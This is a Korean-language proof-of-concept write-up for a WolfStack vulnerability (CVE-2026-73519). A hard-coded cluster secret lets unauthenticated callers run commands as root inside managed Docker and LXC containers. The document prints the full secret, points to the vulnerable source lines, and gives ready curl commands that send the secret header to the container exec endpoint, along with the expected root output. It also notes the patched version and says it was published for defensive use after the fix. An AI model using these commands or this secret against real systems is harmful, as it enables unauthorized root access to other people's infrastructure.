
CVE-2026-73519 - WolfStack 하드코딩 클러스터 시크릿으로 인한 인증되지 않은 RCE (CVSS 9.8) PoC
WolfStack에 내장된 하드코딩된 기본 인증 시크릿에 대한 PoC로, 원격의 인증되지 않은 공격자가 관리되는 모든 Docker/LXC 컨테이너 내부에서 root 권한으로 임의의 명령을 실행할 수 있게 합니다.
| CVE | CVE-2026-73519 |
| CNA | VulnCheck |
| 권고 | GHSA-r3mw-2wmq-j6jg · VulnCheck 분석 |
| CVSS 3.1 | 9.8 치명적 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-798 (하드코딩된 자격 증명), CWE-306 (중요 기능에 대한 인증 누락) |
| 영향 대상 | v25.9.0 및 이전 버전 / 설치별 시크릿 마이그레이션을 완료하지 않은 모든 노드 |
| 수정 버전 | v25.9.2 / v25.9.3 |
| 발견자 | Dostxodjayev Abdullox (@squeeze440) |
src/auth/mod.rs:32는 모든 WolfStack 빌드에 내장된 단일 하드코딩 시크릿을 포함합니다:
const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";
auth::default_secret_accepted()(src/auth/mod.rs:430-460)는 운영자가 명시적으로 거부하지 않았거나(WOLFSTACK_REJECT_DEFAULT_SECRET=1) 이미 사용자 지정 시크릿으로 교체하지 않은 한, 기본적으로 이 상수를 유효한 자격 증명으로 수락합니다. 전체 REST API를 보호하는 유일한 관문인 api::require_auth()(src/api/mod.rs:518-535)는 일치하는 X-WolfStack-Secret 헤더를 포함한 요청을 완전히 인증된 것으로 간주합니다 — 세션도, API 키도, 계정도 없이 말이죠.
이 관문이 보호하는 POST /api/containers/{runtime}/{id}/exec(src/api/mod.rs:7145-7167)는 호출자가 제공한 명령 문자열을 대상 컨테이너 내부에서 그대로 실행합니다. 공개 소스(또는 이 저장소)를 읽어 본 사람이라면 누구나 신뢰할 수 있는 클러스터 피어로 인증하여 해당 노드가 관리하는 모든 컨테이너에서 root 권한으로 임의의 명령을 실행할 수 있습니다.
이번 릴리스 주기에 추가된 설치별 시크릿 자동 생성은 기존 시크릿 파일이 없고 기록된 피어도 없는 노드에서만 동작합니다(src/auth/mod.rs:250-261). 업그레이드된 노드, 문서화된 시작 경합 조건에 부딪힌 노드, 또는 설정 경로에 쓸 수 없는 노드는 로그 한 줄 경고만 남긴 채 공유 기본값을 무기한 유지합니다.
TARGET과 CONTAINER를 테스트 권한이 있는 WolfStack 인스턴스와 컨테이너로 지정한 후 다음을 실행하세요:
./poc.sh http://TARGET:8553 CONTAINER_NAME
또는 수동으로:
# Unauthenticated — rejected
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" -d '{"command":"whoami"}'
# -> {"error":"Not authenticated"} HTTP 401
# Hardcoded secret from src/auth/mod.rs:32 — full RCE as root, no login
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" \
-H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
-d '{"command":"id; hostname"}'
# -> {"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n<container-id>\n"} HTTP 200

체크섬이 검증된 정품 v25.9.0 릴리스 바이너리(sha256 82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c)를 대상으로 실제 alpine:latest 컨테이너를 사용해 검증했습니다. 응답 출력의 컨테이너 ID는 피해자 호스트의 docker ps 결과와 일치합니다.
/api/containers/docker, /api/containers/lxc).require_auth 적용 라우트(피어/노드 관리, 백업 등)에도 영향을 미칩니다. 이 PoC는 가장 분명한 영향을 보여주는 container-exec 싱크를 대상으로 삼은 것이며, 완전한 목록이 아닙니다.v25.9.2 이상으로 업그레이드하세요. 유지보수자는 기본 시크릿 수락을 기본 거부로 전환하고 기존 설치를 위한 강제 교체 경로를 추가했습니다.
수정 사항이 배포되고 CVE가 배정된 이후 방어/교육 목적으로 공개되었습니다. 자신의 인프라에서 패치 상태를 확인하는 용도로 사용하세요. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마세요.